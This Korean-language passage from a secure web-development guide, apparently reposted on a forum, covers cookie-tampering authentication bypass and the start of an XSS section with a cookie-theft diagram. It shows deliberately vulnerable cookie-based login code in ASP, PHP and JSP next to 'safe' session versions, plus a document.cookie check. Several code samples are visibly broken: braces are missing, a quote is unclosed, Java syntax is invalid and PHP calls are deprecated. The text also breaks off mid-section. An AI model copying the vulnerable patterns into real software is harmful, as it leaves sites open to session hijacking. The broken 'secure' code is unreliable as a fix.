공격자는 Cookie 값을 변조하여 인증과정을 통과할 수 있다.
다. 취약성 판단
◦ 사이트에 로그인 한 후, 웹 브라우저의 주소 창에 javascript :document.
제3장 홈페이지 개발시 보안 취약점 및 대책
cookie;를 입력해서 내용을 확인한 후, 해당 세션 쿠키를 사용하는 웹
애플리케이션 소스 점검을 통해 불법 변조 탐지 루틴이 있는지 확인한
다.
◦ 모든 인증 자격 증명(credential)과 세션 구분자가 SSL을 이용하여 지속
적으로 보호되고 있는지 확인한다.
◦ 사이트의 인증 메커니즘을 다양한 측면에서 검토하여, 사용자의 자격 증
명이 정적인 상태(예:디스크에 저장되어 있는 상태)나 전송 중(예:사용자
로그인이 일어나고 있는 순간)에 보호되는지를 살펴보아야 한다.
◦ 인가된 사용자만이 사용자의 자격 증명을 변경할 수 있는지 점검하기
위해서는, 사용자의 자격 증명을 변조할 수 있는 가능한 모든 메커니즘
을 검사하여야만 한다.
◦ 세션 관리 메커니즘을 점검할 때는 세션 구분자가 지속적으로 보호되고
있는지, 그리고 세션 관리 메커니즘이 사고나 악의적인 공격의 발생 가
능성을 감소시켜줄 수 있는지를 검사한다.
2. 보호 대책
가. 일반 대책
◦ 전송 중의 자격 증명 보호
가장 효과적인 방법은 SSL과 같은 기술을 사용하여 로그인 트랜잭션 전체
를 암호화하는 방법이다. 서버로 전송하기 이전에 클라이언트 단에서 패스워
드를 해쉬하는 형태로 변경하는 단순한 방법으로는 다른 공격자가 실제 패
스워드를 모르는 상태에서 해쉬된 정보를 가로채어 서버로 그대로 전송하는
일이 발생하는 경우 별다른 보안을 제공하지 못한다.
45
◦ Cookie대신 보안성이 강한 Server Side Session을 사용
Client Side Session 방식인 Cookie는 그 구조상 다양한 취약점에 노출될
수 있으므로 가능한 웹 서버에서 제공되는 Server Side Session을 사용하는
것이 바람직하다.
나. 개발 언어별 대책
쿠키 저장 시 타인이 임의로 쿠키를 읽어 들일 수 없도록 도메인과 경로
지정에 유의해야 하며, 서버 측에서 유효성 여부를 확인할 수 있는 대책을
강구한다. 예를 들어 브라우저에 저장된 쿠키에만 의존하는 쿠키방식보다는
서버 측에 일부 정보를 저장하여 상호 대조할 수 있는 세션(Session) 방식으
로 대체하고, 세션방식의 경우도 서버 측에 사용자의 IP정보 등을 함께 저장
하여 유효성 여부를 확인하는 방식을 권한다.
Session 방식은 접속자 별로 세션을 생성하여 사용자의 정보를 각각 저장
할 수 있는 오브젝트로써 페이지의 접근을 허가하거나 금지할 때 또는 사용
자별로 정보를 저장할 때 많이 사용된다. 클라이언트의 자원을 사용하는 쿠
키와는 달리 세션은 서버 쪽의 자원을 차지하고 있으므로 보안을 고려하여
세션방식을 채택하는 것이 바람직하다.
제3장 홈페이지 개발시 보안 취약점 및 대책
□ ASP
◦ 취약한 프로그래밍 예
'login_ok.asp 사용자 인증 처리를 하는 스크립트
<%
' form 에서 사용자 id와 사용자 password를 아래 변수로 전달
If myfunc_userauth(userid, userpw) <> 1 Then ' DB 에서 사용자 인증을 처리하는 부분
Response.write "인증 실패"
Else
'인증에 성공한 경우 처리 해야 되는 부분
Response.Cookies("logged_in") = 1
' 인증에 성공했을경우 logged_in 에 1의 값을 셋팅
Response.Cookies("userid") = userid
End If
...
%>
user_menu.asp' 사용자 검증이 필요한 페이지
<%
IF Request.Cookies("logged_in") = 1 Then
Response.write "허가된 사용자 입니다."
Else
Response.write "허가되지 않은 사용자 입니다."
End If
%>
47
◦ 안전한 프로그래밍 예
‘login_ok.asp 사용자 인증 처리를 하는 스크립트
<%
' form 에서 사용자 id와 사용자 password를 아래 변수로 전달
If myfunc_userauth(userid, userpw) <> 1 Then ' DB 에서 사용자 인증을 처리하는 부분
Response.write "인증 실패"
Else
'인증에 성공한 경우 처리 해야 되는 부분
If Session("logged_in") <> 1 Then
Session("logged_in") = 1'인증에 성공했을경우 logged_in 에 1의 값을 셋팅
Session("userid") = userid
Session("user_ip") = Request.Servervariables("REMOTE_ADDR")
End If
End If
...
%>
‘user_menu.asp 사용자 검증이 필요한 페이지
<%
IF Session("user_ip) = Request.Servervariables("REMOTE_ADDR") AND
Session("logged_in") = 1 Then
'인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
'...
Else
Response.write "허가되지 않은 사용자 입니다."
End If
%>
제3장 홈페이지 개발시 보안 취약점 및 대책
□ PHP
◦ 취약한 프로그래밍 예
//login_ok.php// 사용자 인증 처리를 하는 스크립트
// form 에서 사용자 id와 사용자 password를 아래 변수로 전달
if(!myfunc_userauth($userid,$userpw)) //DB 에서 사용자 인증을 처리하는 부분
print "인증 실패";
exit;//인증 실패시 종료
//인증에 성공한 경우 처리 해야 되는 부분
setcookie("logged_in", "1");//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
setcookie("userid", $userid);
...
?>
//user_menu.php// 사용자 검증이 필요한 페이지
if($_COOKIE["logged_in"] == 1)
echo "인증 성공: " . $_COOKIE["userid"];
?>
49
◦ 안전한 프로그래밍 예
//login_ok.php// 사용자 인증 처리를 하는 스크립트
@session_start(); //세션 데이터를 초기화
// form 에서 사용자 id와 사용자 password를 아래 변수로 전달
if(!myfunc_userauth($userid,$userpw)) //DB 에서 사용자 인증을 처리하는 부분
print "인증 실패";
exit;//인증 실패시 종료
//인증에 성공한 경우 처리 해야 되는 부분
if (!session_is_registered("logged_in"))
$logged_in = 1;//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
$user_ip = $_SERVER["REMOTE_ADDR"];
session_register("logged_in");//인증 결과 저장
session_register("userid");//사용자 ID를 저장
session_register("user_ip");//사용자 IP를 저장
...
?>
//user_menu.php// 사용자 검증이 필요한 페이지
session_start();
if(strcmp($_SESSION['user_ip'], $_SERVER['REMOTE_ADDR']) == 0 &&
session_is_registered('logged_in'))
//인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
//...
else
print "허가되지 않은 사용자 입니다.";
exit;
?>
제3장 홈페이지 개발시 보안 취약점 및 대책
□ JSP
◦ 취약한 프로그래밍 예
<%@ page contentType="text/html;charset=euc-kr" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.* " %>
//login_ok.jsp// 사용자 로그인 처리를 하는 스크립트
<%
// form 에서 사용자 id와 사용자 password를 아래 변수로 전달
if(!myfunc_userauth(userid, userpw)) //DB 에서 사용자 인증을 처리하는 부분
out.println "인증 실패";
else
//인증에 성공한 경우 처리 해야 되는 부분
Cookie cookie1 = new Cookie("logged_in", "1");
response.addCookie(cookie1);//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
Cookie cookie2 = new Cookie("userid", userid);
response.addCookie(cookie2);
...
%>
//user_menu.jsp// 사용자 검증이 필요한 페이지
<%
Cookie[] cookies = request.getCookies();
for(int i=0; i< cookies.length; i++)
Cookie thisCookie = cookie[i];
if(thisCookie.getName.equals("logged_in"))
String logged_in = thisCookie.getValue();
if(thisCookie.getName.equals("userid"))
String userid = thisCookie.getValue();
if(logged_in.equals("1"))
out.println("인증 성공: " + userid);
%>
51
◦ 안전한 프로그래밍 예
<%@ page contentType="text/html;charset=euc-kr" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.* " %>
//login_ok.jsp// 사용자 로그인 처리를 하는 스크립트
<%
//HttpSession session = request.getSession(true);
// form 에서 사용자 id와 사용자 password를 아래 변수로 전달
if(!myfunc_userauth(userid, userpw)) //DB 에서 사용자 인증을 처리하는 부분
out.println "인증 실패";
else
//인증에 성공한 경우 처리 해야 되는 부분
session.putValue('logged_in',"1");
session.putValue('userid',userid);
session.putValue('user_ip',request.getRemoteAddr());
...
%>
//user_menu.jsp// 사용자 검증이 필요한 페이지
<%
//HttpSession session = request.getSession(true);
String user_ip = session.getValue("user_ip");
if(user_ip.equals(request.getRemoteAddr()) && logged_in.equals("1"))
//인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
//...
else
out.println "허가되지 않은 사용자 처리.";
%>
제3장 홈페이지 개발시 보안 취약점 및 대책
제4 절 악의적인 명령 실행(XSS)
1. 취약점 설명
가. 개요
Cross-site scripting(이하 XSS) 취약점은 웹 페이지가 사용자에게 입력 받
은 데이터를 필터링하지 않고 그대로 동적으로 생성된 웹 페이지에 포함하
여 사용자에게 재전송할 때 발생한다.
자바스크립트처럼 클라이언트 측에서 실행되는 언어로 작성된 악성 스크
립트 코드를 웹 페이지, 웹 게시판 또는 이메일에 포함시켜 사용자에게 전달
하면, 해당 웹 페이지나 이메일을 사용자가 클릭하거나 읽을 경우 악성 스크
립트 코드가 웹 브라우저에서 실행이 된다.
(그림 3-4) 제3자의 Cookie 정보 탈취
1. 개인사용자 인증 및 로그인
2. XSS에 의해 사용자 페이지가
redirect 되면서 cookie값이
해커 서버로 전동됨
3. Cookie 값을 해커 서버로부터
받아옴
4. 탈취한 Cookie 값을 사용하여
개인 사용자 관리자 페이지로 접근
일반사용자
홈페이지
공격자 서버
공격자
이와 같이 공격자는 XSS 취약점이 존재하는 웹 사이트를 이용하여 자신이
만든 악의적인 스크립트를 일반 사용자의 컴퓨터에 전달하여 실행시킬 수
53
있는데, 이러한 공격방법을 통해 사용자 쿠키를 훔쳐서 해당 사용자권한으로
로그인하거나 브라우저를 제어할 수 있다.
나. 위협 사례
◦ Javascript를 이용한 공격
(그림 3-5) 사용자 입력 부분에 악성코드 삽입
개인 소개와 같은 많은 양의 글을 작성할 수 있는 부분에 XSS 취약점이
존재하여 Javascript를 이용하여 자신의 정보를 열람하는 사용자의 인증정보
(Cookie 정보 등)를 탈취한다.
위의 그림처럼 취약점이 존재하는 부분에 적절한 악성코드를 삽입한 후에
는 다른 사용자가 해당 사용자의 프로필을 검색할 때 아래 그림과 같이 인
증 정보 수집 서버에 Cookie 정보가 저장되며 이를 이용하여 다른 사용자로
접근이 가능하다
제3장 홈페이지 개발시 보안 취약점 및 대책
(그림 3-6) 수집된 Cookie 인증 정보
XSS 취약점이 특정한 유형이 있는 것은 아니지만 에러 메시지 출력 부분
이나 게시판 또는 사용자의 정보를 입력해 다시 보여주는 부분 등이 주로
취약한 부분이 될 경우가 많다. 특히 사용자 등이 웹 사이트의 고객 불만 센
터 등을 이용할 수 있게 해두었을 경우 XSS를 바로 관리자에게 보낼 수 있
는 경우를 종종 볼 수 있다.

- CGI 스크립트
- 검색 엔진
- HTML Tag가 입력 가능한 게시판
- 사용자 에러 페이지
이러한 코드의 다음과 같은 입력 부분에서 XSS가 주로 발생한다. 웹 사이
트를 검색할 때 공격자들이 눈여겨보는 부분이다.
- URL 파라미터
- Form 인수값 들
- 쿠키
- 데이터베이스 쿼리
다. 취약성 판단
게시판에 글쓰기와 같이 단문이상의 입력 가능한 부분에 아래와 같이

[원글링크] : https://www.linux.co.kr/home2/board/subbs/board.php?bo_table=lecture&wr_id=1003


이 글을 트위터로 보내기 이 글을 페이스북으로 보내기 이 글을 미투데이로 보내기

 
(주) 수퍼유저